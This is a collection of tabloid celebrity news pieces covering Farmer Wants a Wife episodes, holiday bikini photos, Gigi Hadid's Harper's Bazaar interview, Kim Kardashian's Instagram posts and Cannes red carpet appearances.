Despite a tense conversation with Jess Nathan, Andrew Guthrie opted not to send anyone home on Wednesday's episode of Farmer Wants a Wife.

The 30-year-old farmer from NSW admitted that despite his attraction to Jess, he had concerns she wasn't prepared to give up her life in Melbourne.

Following a steamy date, where Jess, 27, admitted she didn't know if she'd be willing to move to the farm, Andrew pulled her aside for another chat in the evening.

Staying... for now: Despite a tense conversation with Jess Nathan, Andrew Guthrie opted not to send anyone home on Wednesday's episode of Farmer Wants a Wife

Despite reassuring Andrew that she did have feelings for him, Jess then added: 'I have a lot going on at home at the moment.'

Although he confessed he was worried Jess was wasting his time, Andrew opted to keep her and the other girls around for another week.

'I'm really happy he made that call,' a relieved Jess confessed.

Red flags: The 30-year-old farmer from NSW admitted that despite his attraction to Jess, he had concerns she wasn't prepared to give up her life in Melbourne

Take a hint: Despite reassuring Andrew that she did have feelings for him, Jess then added: 'I have a lot going on at home at the moment'

Ahead of their date earlier on, Andrew said he liked Jess because 'she's very genuine and honest', and added that 'she makes me happy'.

The couple had a successful date, which culminated in them stripping down to their swimsuits to share an outdoor rose petal bath together.

As they sipped Champagne, they exchanged a few flirtatious glances, before Jess confessed her feelings for Andrew.

Sexy time: The couple had a successful date, which culminated in them stripping down to their swimsuits to share an outdoor rose petal bath together

Getting flirty: As they sipped Champagne, they exchanged a few flirtatious glances, before Jess confessed her feelings for Andrew

They then shared a passionate kiss, but the moment proved to be short-lived after Andrew asked Jess if she could see herself moving to the farm.

'It's beautiful here, and I know that this is where your life is. I know this is where your family is and your work is and all your friends are. And that's what it's like for me in Melbourne,' she told him.

She added: 'It's a big thing to ask someone to move here.'

Sealed with a kiss: They then shared a passionate kiss, but the moment proved to be short-lived after Andrew asked Jess if she could see herself moving to the farm

Her candid admission prompted Andrew to question if she was serious about envisioning a future with him.

'What I guess I'm asking is if it's never going to happen, then why waste our time?' he asked her.

Jess later admitted: 'Part of me wants Andrew and this life with him, and another part of me wants my career in Melbourne, and my friends and family around me all the time.

'What I guess I'm asking is if it's never going to happen, then why waste our time?' Andrew asked her

'They are two different worlds and I am in a bit of an inner battle, trying to figure out where I'm at.'

Jess told Andrew their relationship would involve a lot of 'long distance', which forced him to concede: 'It's probably not going to work.'

'It feels like a really big commitment right now, and I don't know if I'm able to say 100 per cent in six months time I'll be here,' she said.
They set up home together in Dubai back in May.

And, Laura Anderson, 32, stunned in a yellow mini dress as she cosied up to her shirtless beau Dane Bowers, 41, during a date night at DoubleTree By Hilton Jumeirah, in Dubai.

Taking to Instagram on Tuesday, the former Love Island star shared the loved-up snap and gushed over her pop star boyfriend.

Cute: Laura Anderson, 32, stunned in a yellow mini dress as she cosied up to her shirtless beau Dane Bowers, 41, during a date night at DoubleTree By Hilton Jumeirah, in Dubai

Laura showcased her slender frame in the halterneck mini dress and her blonde tresses were styled into two long braids.

Dane who was part of pop boy band Another Level, wore just black swim shorts, and wrapped one hand around Laura's waist as she sat on his knee.

Laura captioned the shot: 'Amongst all the madness you're always my calm.'

Out on the town: It was revealed in April that the Love Islander and her pop star boyfriend had rekindled their romance after they initially broke up in 2018

It was revealed in April that the couple had rekindled their romance after the Love Island star initially broke up in 2018 with Dane after discovering he had cheated.

A source told MailOnline: 'Dane and Laura have been spending all their time together in Dubai  being in each other's company again has reminded them how good things were before.

'Laura was devastated when she found out Dane was cheating on her but years have passed and she's now willing to give him another chance.'

Big Reunion: Laura initially broke up with Dane in 2018 after discovering he had cheated

And the couple have already been talking about having a baby together.

According to new! 'Laura told Dane she had agree to try for a baby on one strict condition, and that was stopping his party boy ways.

'She wants to see this as a fresh start for both of them and hes really worked hard to show her hes changed.'

The Scottish-born beauty has been the epitome of happiness since they started over and she shared with her 1.4million Instagram followers the best bits from their date.
She's been enjoying a luxury break in Greece.

And, Rumer Willis continued her sun-drenched getaway as she enjoyed a sunbathing session in a strapless orange bikini, on Wednesday.

The 32-year-old actress took to Instagram to share a snap of herself in the animal print Hunza G swimwear set as she used a towel to cover her head.

Loving life: Rumer Willis, 32, continued her sun-drenched getaway as she enjoyed a sunbathing session in a strapless orange bikini, on Wednesday

On Monday, Rumer reclined by the ocean and flaunted her honed waist in a tiny blue bikini in a selfie, lying in the shade of a patio.

The deep blue sea stretching out in the background, Rumer shielded her eyes and pouted for the snap as she stretched out on her sunbed.

On Sunday, Rumer looked ethereal in a flowing white dress as she stood in a ray of sunlight under an azure sky and snapped the shot against a rugged desert backdrop.

The Once Upon A Time In Hollywood star donned a ruffled semi-sheer Ischia dress for her dramatic selfie.



Oceanside: On Monday, the actress Rumer Willis continued her sun-drenched break with another bikini snap

Lovely: On Sunday, Rumer looked ethereal in a flowing white dress as she posed under an azure sky while vacationing in Greece

On Friday, Willis hit back at 'haters' leaving unkind comments on a recent Instagram post.

After slipping into a skimpy yellow and orange thong bikini, the Hostage actress showcased her peachy bottom in a photo.

She added the caption: 'For the haters. With love and gratitude kindly my [peach emoji]. I'll keep smiling regardless.'

Gorgeous: Rumer hit back at 'haters' leaving unkind comments on a recent Instagram post by sharing a gorgeous bikini-clad photo from her Greek holiday

Just hours before, Rumer - who is in Greece with her mum Demi Moore and her two younger sisters Tallulah and Scout Willis - shared a sultry snap of herself in a green bikini with pink sunglasses.

While much of the feedback was positive, not everyone was as kind in the comment section below Rumer's snap.

'Nope,' one social media user bluntly wrote.

'Yikes, not appropriate,' added another, with a third saying: 'Why does everyone in Hollywood need to pose like this. It's like they need to say look at me, I'm wonderful.'

Hours earlier: Her pointed post to her critics cane after Rumer shared a stunning snap of herself in a green bikini with pink sunglasses

Unkind: While much of the feedback was positive, not everyone was as kind in the comments section below Rumer's snap

Another wrote beneath Rumer's post: 'I look at girls who are actually full of life and not 'hollywood' and they don't suck their stomach in when taking pictures and they're full of happiness.

'When I look at pictures like you, you look sad. Like you're trying to prove to everyone that you can be skinny even though you eat chili cheese fries in secret and scarf down cookies and milk.

'You're no different than anyone else. Stop trying to be someone you're not. You owe America that - who the hell cares who your parents are. Just be you!'

Taking to the comment section herself, Rumer replied: 'Wow you seem to be spewing a lot of negativity and judgement about someone you don't know. And I'm so sorry for you that you must be in so much pain to to write such unkind things about me.

Thoughtful response: 'Taking to the comment section herself, Rumer replied: 'Wow you seem to be spewing a lot of negativity and judgement about someone you don't know'

'I am happier than I have ever been and honestly for the first time in my life letting go of the need for my body to look a certain way to be happy with it. And in that letting go I have been able to enjoy everything around me.

'I also struggle with auto immune issues and it has taken me years to even be able to eat anything without it being extremely painful. I encourage you to pause before you judge someones outsides when you know nothing about what is going on inside.

'I hope and wish you so much love especially for yourself because all the negativity and meanness you have directed towards me if merely a reflection of how you must feel about yourself and for that I hold unending compassion as I have been there myself.

Support: Rumer's fans were quick to jump to her support in the comment section

'Light and love. And a invitation and boundary to please keep your negativity off my page.' [sic]

Rumer's fans were quick to jump to her defense, with one penning: 'The positive out weighs the negative!' A second noted: 'Don't waste your energy on haters, you look amazing.'

The stunner is currently on holiday in Santorini on the Aegean Sea with Demi and siblings Tallulah, 27, and Scout, 29.

Rumer is the eldest child of Demi, 58, and former husband Bruce Willis, 66.
She's lost an incredible 3.5 stones after overhauling her lifestyle in recent months.

And Gemma Collins certainly wasn't shy in showing off her trimmed down figure on Wednesday as she sprawled out on the stone floor of a Valentino store in London wearing nothing but her underwear.

The former TOWIE star, 40, ditched her clothes and modelled her nude bra and knickers as she took advantage of the designer store's cool stone floors after complaining she was 'too hot'.

Ooh I say! Gemma Collins certainly wasn't shy in showing off her trimmed down figure on Wednesday as she sprawled out on the stone floor of a London Valentino store in nothing but her underwear

Taking to her Instagram stories, Gemma addressed the Italian fashion house's Designer of Branding Yigit Turhan, as she stretched out on the stone floor amid her private fitting.

With a group of staff laughing in the background, Gemma said: 'Yigit, I hope you don't mind I'm lying on the stone floor in Valentino. Because it is so hot in London, I cannot tell you.

'But thank God for your stone floor because 'the candy' is laying out and cooling down. Honestly, I can't wait to meet you one day hun.'

Flaunt: The former TOWIE star, 40, ditched her clothes and modelled her nude bra and knickers as she took advantage of the designer store's cool stone floors after complaining she was 'too hot'

Captioning the hilarious video, the self-confessed diva wrote: 'Stone floors are the one.'

Gemma had earlier filmed inside the swanky boutique, where she informed her followers that she needed to obtain new outfits for special events and a wedding she has coming up.

But it appears that the heat got too much for the star as she was forced to retreat to the floor to cool off.

Chilled: Taking to her Instagram stories, Gemma addressed the Italian fashion house's Designer of Branding Yigit Turhan, as she stretched out on the stone floor amid her private fitting

Cooling off: With a group of staff laughing in the background, Gemma said: 'Yigit, I hope you don't mind I'm lying on the stone floor in Valentino'

Amusing: Captioning the hilarious video, the self-confessed diva wrote: 'Stone floors are the one'

The TV star has been committed to overhauling her lifestyle in recent months and has lost an incredible 3.5 stone already, thanks to her hard efforts.

And on Tuesday, she continued working on her fitness as she shared a video of her enjoying a morning run to Instagram.

Gemma displayed the fruits of her labour in a crop top and leggings while also encouraging her fans on their own fitness journeys, stating: 'We've got this girls'.

Lovely: Gemma had earlier filmed inside the swanky boutique, where she informed her followers that she needed to obtain new outfits for special events and a wedding she has coming up

Too hot to handle: But it appears that the heat got too much for the star as she was forced to retreat to the floor to cool off

Gemma looked in fine form as she ran towards the camera while working up a sweat on a country road.

The make-up free TV personality looked great in a peach and black crop top and black patterned leggings, while her blonde locks were swept loosely swept into a half up, half down style.

Clearly enjoying her jog, Gemma exclaimed: 'Good morning! I'm on my run this morning.'

And as she sprinted past the camera, she added: 'We've got this girls!'

Gemma further encouraged her fans in her caption, simply writing: 'You got this HUNS!' alongside a medal and a trophy emoji.

Good for you: On Tuesday, Gemma continued working on her fitness as she shared a video of her enjoying a morning run to Instagram amid her 3.5 stone weight loss

Weight loss: Gemma highlighted the results of her fitness regime as she flaunted her slimmer physique in a crop top and leggings (right in 2017)

Her post was inundated with positive comments from her followers praising her for her efforts and commenting on how great she looked.

It comes after the star, who is back together with former flame Rami Hawash, recently told of her plans to try for a baby with her beau.

Gemma rekindled her romance with the businessman, 45, after she split from fellow former TOWIE star James Argent, 33, earlier this year, and previously insisted they 'just having fun.'

Gemma revealed her and Rami's plans during her Love Lounge podcast, saying: 'I'm definitely having a summer of love, so while I go on a mini break. Who knows, I could come back pregnant.'

She added: 'I've got a lovely partner now and I'm very happy, I never saw that coming and I never predicted it.

Baby on the way? Gemma recently confirmed she's rekindled her romance with ex-fiance Rami Hawash, 45, as she revealed their plans to try for a baby

'This is what I'm saying, you really have to let your past go and move to the future because everyone's Prince Charming is out there somewhere, and I'm looking forward to having a summer of love.

'This is the last Love Lounge of the series, but the summer of love is only just beginning.'

Rami owns a car mechanic repairs company in Romford and he dated the Diva Forever star on and off for three years until the pair eventually broke things off in 2014.

The GC previously gave her romance with Rami a second chance in 2017 after she was spotted wearing the engagement ring he proposed with.

Sources at the time said Gemma hoped to start a family with Rami and have the baby she's always dreamed of.

To increase her chances of starting her own family, Gemma has focused this year on being healthy and losing weight, and has since shed 3.5 stone.

Gemma previously said she 'prays every night' to one day conceive a baby naturally and be in a happy relationship.
She's been dazzling on red carpets at the Cannes Film Festival.

And, Lady Victoria Hervey, 44, paraded her svelte physique in a white sequin bikini on Annex Beach in Cannes, France on Wednesday.

The socialite oozed confidence as she strolled barefoot across the sand while clad in her skimpy two-piece swimwear set.

Glamorous: Lady Victoria Hervey, 44, paraded her svelte physique in a white sequin bikini on Annex Beach in Cannes, France on Wednesday

Victoria accessorised with metallic bangles and turquoise beaded bracelets, as well as a long pendant necklace and a pretty anklet.

The former It Girl styled her blonde tresses into soft waves and cooled off in the sea between relaxing on her sunlounger.

Victoria spent the day with a female friend, and wore a yellow crochet mini dress over her bikini as they arrived at the beach.

Cooling off: The former It Girl styled her blonde tresses into soft waves and cooled off in the sea between relaxing on her sunlounger

Loving life: The socialite oozed confidence as she strolled barefoot across the sand while clad in her skimpy two-piece swimwear set

Finishing touches: Victoria accessorised with metallic bangles and turquoise beaded bracelets, as well as a long pendant necklace

Relaxing: Victoria chatted on her mobile phone while relaxing on a sunlounger

The outing comes after Victoria revealed earlier this year that she doesn't agree with wearing masks to prevent the spread of coronavirus.

'I'm not going to lie, I never wear one,' she told The Daily Mail, adding that she 'storms out' of any shops that ask her to put one on.

Even so, she went into business supplying PPE at the start of the pandemic but insisted that she isn't a hypocrite.

Peaceful: The socialite escaped the hustle and bustle by wading through the calm waters

Incredible: The British beauty appeared to be relaxed during her day in the sun

Loving life: Victoria strolled between her sunlounger and the sea

Tanned: The beauty topped up her tan as she took a break from her red carpet appearances

'I did a little bit of a pivot,' she said. 'But no, it doesn't! I was selling it to hospitals, not to people out walking their dogs or shopping.'

Asked if she would ever take the Covid vaccine, she scoffed: 'No way! It's a personal thing, and my mother's had hers, but at my age I really believe in natural immunity.'

She admitted that Project Baby had also influenced her thinking  as she has a prospective sperm donor/father lined up.

Girls' day: Victoria spent the day with a female friend, and wore a yellow crochet mini dress over her bikini as they arrived at the beach

Easy breezy: The long sleeved tunic offered a quick and easy cover up for her beach day

Glam: Her friend looked glamorous in a bright red maxi dress and eye-catching waist belt

Six of her eggs were frozen and stored three years ago, at a cost of 11,000, and she spent the time afterwards looking for a donor.

'I had a friend who was going to be my sperm donor. He was going to be involved in my child's life, but as a friend, not a partner,' she explained.

'And I was supposed to be pregnant now. But then Covid happened, which was a big blow, but looking back I'm really grateful I didn't do it with that person. He just wasn't right.'

Victoria revealed she has since found someone, but is keeping their identity secret.
Gigi Hadid has revealed she had days where she worried if she was good enough to be a mother while pregnant with her daughter Khai, ten months.

The model, 26, told how she kept a 'good journal' and a 'bad journal' which she thinks she might give to Khai one day.

Speaking in the August issue of Harper's Bazaar, where she also posed for a stunning photoshoot, Gigi told how her boyfriend Zayn Malik, 28, has fitted in well to her family.

Candid: Gigi Hadid has revealed she had days where she worried if she was good enough to be a mother while pregnant with her daughter Khai, ten months

On her pregnancy anxieties, she said: 'During my pregnancy, I had one journal that I called my good journal and one journal that I called my bad journal.

'They weren't that literal, but one was more for the memories, for Khai. Maybe one day I'll give her the bad journal just to be real about it.'

Asked what was inside the bad journal, she said: 'Anxieties and days where I felt like, "Am I good enough to be a mom?" I didn't want to feel guilty about feeling those things or writing those things down. I just liked the separation.

'I also have sketch pads where I'll watercolor-sketch, and sometimes I end up writing there too. I write on the back of receipts and keep those in a notebook.

Memories: The model, 26, told how she kept a 'good journal' and a 'bad journal' which she thinks she might give to Khai one day

'I'm not particular about it, and my journals are everywhere around the house. I just pick up whichever one is closest to me and write.'

Gigi told how her family often have deep discussions over the dinner table, which Zayn has fit right into.

She said: 'At first he was like, 'How do I get a word in edgewise?' But now he is very comfortable. He speaks his mind.

'When he's in the middle of a family thing and everyone's like, "Zayn, whose side are you on?" he's charming. He's usually on my mom's side. So he's smart in that sense.'

Relationship: Speaking in the August issue of Harper's Bazaar , where she also posed for a stunning photoshoot, Gigi told how her boyfriend Zayn Malik, 28, has fitted in well to her family

Honest: On her pregnancy anxieties, she said: 'During my pregnancy, I had one journal that I called my good journal and one journal that I called my bad journal'

Worries: Asked what was in the bad journal, she said: 'Anxieties and days where I felt like, "Am I good enough to be a mom?" I didn't want to feel guilty about feeling those things or writing those things down. I just liked the separation'

Elaborating on her family dynamics, Gigi said: 'This is not to say that I don't have a heart or Bella doesn't have a brain, but when dealing with family stuff and world issues, my mom calls me the brain and Bella the heart.

'My brother [Anwar] is half and half. Whatever the family dinner-table discussion is, Bella will be very emotional and compassionate, and I'm sitting there pulling up charts and infographics, speaking very calmly.

'My mom is just very Dutch and to the point. And my dad 's a storytellera bit goofy, but always connecting it back to, 'Oh, you've heard the old Palestinian saying...'

The family own a farmhouse in Pennsylvania which Gigi described as a 'peaceful and recharging' place.

Family: Gigi told how her family often have deep discussions over the dinner table, which Zayn has fit right into

She said: 'At first he was like, 'How do I get a word in edgewise?' But now he is very comfortable. He speaks his mind'

Retreat: The family own a farmhouse in Pennsylvania which Gigi described as a 'peaceful and recharging' place

Stunning: Discussing her modelling career, Gigi said it was helpful for her to look at herself as an 'object' or a 'sculpture' to hone her skills

She said: 'I deal with a lot of things through just sitting and thinking and writing. People made jokes when Covid hit, like, "Oh, Gigi, you've been practicing quarantine for years now, because when I had a few days off, I would drive to the farm from the city and be with myself in my little cabin, making a resin chair or drying flowers.'

Discussing her modelling career, Gigi said it was helpful for her to look at herself as an 'object' or a 'sculpture' to hone her skills.

She said: '[Photographer] Steven Meisel is someone who realized my interest early on. He lets me shoot with a mirror behind him. And he says he often starts with letting models do that.

'The point is not to be distracted by yourself or even look at yourself in the mirror. It's about being able to look at the camera, and then, kind of in your out-of-focus vision, is the shape of you.

Moterhood: Gigi and Zayn welcomed daughter Khai in Septemnber 2020

Romance: The couple began dating in 2015, with Gigi previously appearing in his 2017 Pillowtalk music video

'It's training a model to understand how she fits into the photo, which is why I became a model.

'Obviously, I'm not saying this as anything disrespectful against women, but you have to look at yourself like an object or a fashion object or a sculpture.'

Asked how she creates a character for her photoshoots, she replied: 'It's not my job to have an opinion on what I'm wearing [on set].

'It's my job to wear what I wear and have enough of a photographic mind to understand how to make that piece look good, sellable, and give the feeling that is wanted by the creative team.'
Last week, Farmer Matt Trewin shared a heartfelt moment with Tara when he opened up about the death of his father.

But just one week later, the potential couple fell apart when Tara dramatically walked away from the farm on Wednesday night's Farmer Wants a Wife.

The split occurred after Trewin, 26, kissed another woman during a date at a watering hole.

Gone girl: Tara (right) dramatically walked away from Matt Trewin's (left) farm on Wednesday night's Farmer Wants a Wife

Farmer Matt kissed Tara's competitor Alex during a steamy watering hole date on Wednesday.

After learning of the passionate clinch, Tara tells Matt, 'I think I need to go home.'

Farmer Matt, meanwhile, 'hopes shes making the right decision.'

After Tara left, Trewin admitted to being a 'bit speechless to be honest what really hurt the most was watching her drive away. Thats when I realised you dont know what youve got until its gone.'

So close: The shock departure came after Trewin opened up about his personal heartbreak on a date with Tara on Farmer Wants a Wife last week

The shock departure came after Trewin opened up about his personal heartbreak on a date with Tara on Farmer Wants a Wife last week.

The farmer spoke about his late father's battle with cancer during a heart-to-heart with the blonde.

Matt said he was a proud fourth-generation farmer, and wanted to ask Tara if she'd be happy moving to his farm in Orbost, regional Victoria.

Catalyst: The split occurred after Trewin, 26, kissed another woman during a date at a watering hole

'It tears you apart': Matt admitted he was still 'torn apart' as he spoke to Tara about his late father's heartbreaking cancer battle on Wednesday's episode

'You know, I'm the fourth generation now on the farm, on the family farm... and I reckon I couldn't give that up,' he told her.

Tara said she understood Matt would want someone to move to his farm, and reassured him moving wasn't an obstacle.

Matt went on to speak about his father's death, saying 'life will never be the same'.

Heart-to-heart: Matt said he was a proud fourth-generation farmer, and wanted to ask Tara if she'd be happy moving to his farm in Orbost, regional Victoria

'So recently dad has passed away with cancer. Life's never going to be the same,' he began.

'It tears you apart, losing your best friend, let alone your father. Yeah, it's heartbreaking, but I know he'd be super proud watching over me.'

Matt said he was 'very attracted' to Tara but wanted her to 'open up a bit more'.

He revealed that when he's with Tara, he gets a 'warm fuzzy feeling' inside - which is what his parents used to tell him he'd feel when falling in love.

Sad: 'So recently dad has passed away with cancer. Life's never going to be the same,' he said. 'It tears you apart, losing your best friend, let alone your father. Yeah, it's heartbreaking'

'There's feelings there and that fuzzy warm feeling there... I'm getting that fuzzy warm feeling dad used to talk about,' Matt confessed.

'Dad said, "When I met your mother I was blown away and had this fuzzy feeling."

'He said, "You'll know one day when you get it"... I think I'm in the same boat here.'

Wednesday's episode saw the farmers send a total of six women home.

In a surprise to no one, farmer Andrew booted Lucy from the competition, after she stirred up a kissing drama earlier this week.

Farmer Wants a Wife continues Sunday at 7pm on Channel Seven
Christine Quinn on the Netflix show Selling Sunset got away from Hollywood for a holiday to the Montage at Laguna Beach this week.

The 31-year-old was every inch the blonde bombshell while showing off her sensational summer body on Instagram just two months after giving birth.

'But first, let me take a selfie,' Christine wrote in her caption making sure to geotag the hotel where she was staying.

Radiant: Christine Quinn got away from the swanky environs of Hollywood for a holiday to the Montage at Laguna Beach this week

She slipped into a skintight pastel top that featured a pastel print of various angel paintings and allowed her to flaunt her enviably taut midriff.

Letting her platinum locks down she pulled a pout for the camera and posed up a storm on a sandy ledge for her latest album.

Christine is married to retired tech entrepreneur Christian Richard with whom she welcomed a baby son called Christian in May.

Aglow: The 31-year-old was every inch the blonde bombshell while showing off her sensational summer body on Instagram just two months after giving birth

When you got it: She slipped into a skintight pastel top that featured a painting print and allowed her to flaunt her enviably taut midriff

Just as she finished filming the next season of Selling Sunset her water broke and she had an emergency cesarean.

'It is the most incredible feeling to know that you have created life,' the new mother gushed to People shortly after the birth.

'My protective mama bear mentality is stronger than ever. My sole job is to protect him, to love him and to raise him.'

Looking fab: Letting her platinum locks down she pulled a pout for the camera and posed up a storm on a sandy ledge for her latest album

She joked: 'Let's just say he was born with good taste. He has a closet filled with designer outfits that I cannot wait to dress him in!'

Christian and Christine got married in December 2019 in a ceremony that was filmed for her reality TV series on Netflix.

After getting death threats because of her 'villain' status on the show she told the Daily Star last year that she acquired a tiger as part of her home security detail.

In spite of her circumstances she said she was 'thankful to be in this position. Youre only hated if youve done something great. Thats how I like to look at it.'
Kim Kardashian has said she is in the best shape of her life, and she seems hell bent on reminding fans of that as she has spent her summer posting Hot Girl images.

On Wednesday it was more of the same as the reality TV siren, 40, showed off her incredible 24inch waistline in a crop top and low rise sweatpants from her brand SKIMS in a series of photos shared to Instagram.

This comes after a claim that her estranged husband Kanye West, 44, has been shunned by Vogue supermodel Irina Shayk, 35.

Her power look: Kim Kardashian has said she is in the best shape of her life, and she seems hell bent on reminding fans of that as she has spent her summer posting Hot Girl images. And on Wednesday it was more of the same as the reality TV siren, 40, showed off her incredible 24inch waistline in a crop top

Her suit for the day: In the new images, the pinup looked sensational in the mini white top that does not cover much of her skin. The top is so short is shows off her tummy which is slender and has abs. The sweatpants hang off her hips as she poses away inside her $60M Hidden Hills, California mansion

In the new images, Kim looked sensational in the mini white top that does not cover much of her skin.

The top is so short is shows off her tummy which is slender and has abs; the TV vet added a gold belly chain.

The sweatpants hang off her hips as she poses away inside her $60M Hidden Hills, California mansion which she reportedly gets to keep in her split from West.

And she had on matching slippers that flash a white pedicure.

The Keeping Up With The Kardashians star wore her long raven hair down in soft curls and she used her white minimalist chair to pose on.

Kim has said she has gotten into the 'best shape of my life' thanks to her personal trainer Melissa Alcantara who prefers weight lifting over constant cardio.

Weight lifter: The Selfish author has said she has gotten into the 'best shape of my life' thanks to her personal trainer Melissa Alcantara who prefers weight lifting over constant cardio

'Cozy,' was all Kardashian said in her caption for her 235M followers as she was seen next to a fireplace that appears to have never had a fire in it as well as a white painting with claw marks on it.

This comes after a claim that West has been rejected by Shayk.

The model has recently been romantically linked with the Stronger rapper after they were seen together in France last month.

But insiders insisted she isn't looking for a relationship and turned down his request to accompany him to Paris for a fashion show as she didn't want to add fuel to the speculation.

No stress vibe: 'Cozy,' was all Kardashian said in her caption for her 235M followers as she was seen next to a fireplace that appears to have never had a fire in it as well as a white painting with claw marks on it

'She likes him as a friend, but doesn't want a relationship with him,' a source told the New York Post newspaper's Page Six column.

'She doesn't want the association that they are dating, which is what would have run in the press if she showed up [in Paris with him],' the source added.

'It would have been another month of news saying that they are dating.'

And although Irina - who has four-year-old daughter Lea with former partner Bradley Cooper - was with Kanye for his 44th birthday celebrations in Provence, France, the source insisted it wasn't a romantic occasion.

Whip it: The Keeping Up With The Kardashians star wore her long raven hair down in soft curls and she used her white minimalist chair to pose on

In the swim: The day before the daughter of Kris Jenner was seen swimming in a pool

They said: 'She went to his birthday party as a friend. There were 50 other people there.'

The Russian beauty isn't looking for love with anyone right now.

The insider said: 'She doesn't want to be linked with anyone right now. She is happy being single.'

Irina and Kanye - who has four children, North, eight, Saint, five, Chicago, three, and Psalm, two, with Kardashian - have been friends for several years and she previously appeared in his 2010 music video for Power, as well as modelling for his Yeezy brand.

It had previously been claimed that the FourFiveSeconds hitmaker had 'pursued' Irina, but they were not officially a couple.

A source said earlier this month: 'They have known each other professionally for years. He started pursuing her a few weeks ago. Kanye is a persuasive guy.

Don't you want me baby? This comes after a claim that her estranged husband Kanye West, 44, has been shunned by Vogue supermodel Irina Shayk, 35

Her ex: The cover girl has four-year-old daughter Lea with former partner Bradley Cooper, seen here in June in NYC

'He hung out with her in NYC before they celebrated his birthday in France.

'She seems smitten. He invited her to France and she happily accepted. They are not officially dating, but there is an interest from both sides.'

Meanwhile, Kim's best friend Jonathan Cheban told Wendy Williams in June that the siren is not yet dating anyone.

Wendy asked Jonathan if Kim is seeing a new man. There was talk she was with Van Jones.

'Kim has a lot on her plate with four kids, and the new show is starting soon for Hulu,' he said, as a way of saying she is not dating.

When Wendy asked if he was shocked Kim addressed her split with Kanye on Keeping Up With The Kardashians, Cheban said a firm no.

She as not moved on yet: Meanwhile, Kim's best friend Jonathan Cheban told Wendy Williams in June that the siren, 40, is not yet dating anyone. Wendy asked Jonathan if Kim is seeing a new man. There was talk she was with Van Jones. 'Kim has a lot on her plate with four kids, and the new show is starting soon for Hulu,' he said. Seen in 2020

'Everything is open on the show, they questions everything. I am not surprised it really happened, I love them both, Kim is studying for the bar again right now I just spoke to her yesterday, I really like them both though, they are amazing,' shared Jonathan.

And he wishes the Yeezy designer was still in the mix.

'I miss Kanye, I miss him around, I miss his brilliant energy,' said Jonathan.

Wendy said, 'Is this what we call it today?' insinuating the brilliant energy is really crazy energy.

'Yeah,' said Jonathan, not willing to slam Kanye as he talked up West. 'I love it, I love it! He is always ahead of the times, he is inspiring.'

'Very inspiring,' said Wendy, who was not convincing.
She's been sharing snippets of her luxury European getaway on social media.

And, Catherine Zeta-Jones, 51, whipped her hair back and forth while clad in a plunging swimsuit on Wednesday, during her Ibiza holiday.

The Welsh actress, 51, took to Instagram where she uploaded a video of herself energetically flipping her head about while letting her hair dry in the sunshine.

No hairdryer, no problem! Catherine Zeta-Jones, 51, whipped her hair back and forth while clad in a plunging swimsuit on Wednesday, during her Ibiza holiday

Wearing yellow-tinted lens sunglasses, Catherine ran her hands through her raven tresses as she showed off her dramatic hair-drying technique.

She captioned the clip: 'No hairdryer, no problem!'

On Sunday, she gave her followers a glimpse of both her swanky backdrop and her incredible physique.

The star sported a tiny black swimsuit as she expertly performed a slew of moves, including downward dog, and a number of complex stretches.

I whip my hair back and forth! The actress took to Instagram where she uploaded a video of herself energetically flipping her head about while letting her hair dry in the sunshine

Wow! On Sunday, Catherine gave her followers a glimpse of both her swanky backdrop and her incredible physique

Catherine looked sensational in the sexy black swimsuit which featured a backless detail and high-rise sides to show off her stunning figure.

Prior to her time in Ibiza, she had been staying in her luxurious Majorca home with husband Michael Douglas, 76.

Last week, in a series of cute shots, she was seen planting a kiss on her husband before snapping selfies in her pink dressing gown.

Catherine delighted fans with her cute snaps with Michael, with the couple seen cuddling up close before sharing a kiss.

Amazing: The actress sported a tiny black swimsuit as she expertly performed a slew of moves, including downward dog, and a number of complex stretches

Cute: Prior to her time in Ibiza, she had been staying in her luxurious Majorca home with husband Michael Douglas, 76

She wasn't too keen on the shots herself, though, quipping: 'When bad selfies happen to good people well maybe.. not so bad and not so goo [sic]'.

Earlier in the day, Catherine showcased her natural beauty as she posed for a stunning bathroom selfie.

The actress looked radiant in a pink dressing gown with a red and blue floral print along with a pair of pearl earrings.

Smitten: She has been staying in her luxurious Majorca home with Michael Douglas

Catherine and Michael's Spanish house boasts ten bedrooms and is located on the outskirts of the village of Valldemossa, Majorca.

The couple have been making the most of their holiday home after struggling to sell the house for seven years.

Back in 2018, the couple pulled their spectacular Spanish vacation villa - which was originally on sale for $60 million - off the market after years of being 'left to rot'.

Keeping it in the family: The couple have been making the most of their holiday home after struggling to sell the house for seven years (Michael is pictured outside the home in 1987)

The Hollywood actor bought the stunning 250-acre property on the sun-kissed island of Majorca with his then-wife Diandra Luker in 1989 for just $3.5 million.

Even after they split up 11 years later, they shared the property for six months each of the year.

In 2014, the estate, which hugs the rugged Balearic coastline, was put on the market by Sotheby's for a colossal $60 million.

They were forced to drop the price in 2017 to $45 million, and then again to $40 million the following year before the luxury realtors took it completely off the market.

In the past, the stunning Spanish retreat has played host to the likes of Tom Cruise, Nicole Kidman, Michelle Pfeiffer and Jack Nicholson.

The property boasts two cottages, five apartments, 10 bedrooms in total, 11 bathrooms, home theater, outdoor heated pool, library, games room, outdoor kitchen, wine cellar and vineyard.

Family: It comes after Catherine marked Father's Day with sweet tributes to her dad David and husband Michael Douglas last month (pictured with their children Dylan, 20, and Carys, 18)

The couple also own a mansion in Irvington, New York, an apartment overlooking Central Park in Central Park West, Manhattan and a house in Catherine's hometown of Swansea, Wales.

It comes after Catherine marked Father's Day with sweet tributes to her dad David and husband Michael late last month.

The actress posted a throwback picture of herself with David and her two children Dylan, 20, and Carys, 18, on Instagram, noting: 'You are everything and everything is you!'

Sweet: The glamorous mother-of-two also took to her Stories to share another throwback picture with her husband and their children

She continued: 'I love you! Thank you for always being there for me. I love this photo of us on our beloved Welsh coast with Dylan and Carys.'

Making sure to include all the family, Welsh-born Catherine also shared a heartwarming photograph of 'dog dad' Michael relaxing in an armchair with their pooch Taylor.

Catherine and Michael have been married since 2000 after meeting two years previously at the Deauvulle Film Festival in France.
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They never put a foot wrong when it comes to making a good impression on the red carpet.

And Poppy Delevingne, 35, was sure to maintain her impeccable reputation for fashion as she wowed in a yellow dress with semi-sheer skirt and tight bodice while attending the premiere of The Story of My Wife on Wednesday.

Ensuring to also command attention at the 75th Cannes Film Festival, Brooklyn Beckham's stylish ex Hana Cross, 23, donned a stunning cream gown which boasted a feathered detailing on the figure-hugging skirt.

Sharon Stone, 63, also looked breathtaking as she graced the red carpet in an ice blue tulle gown adorned with colourful 3D flower detailing.

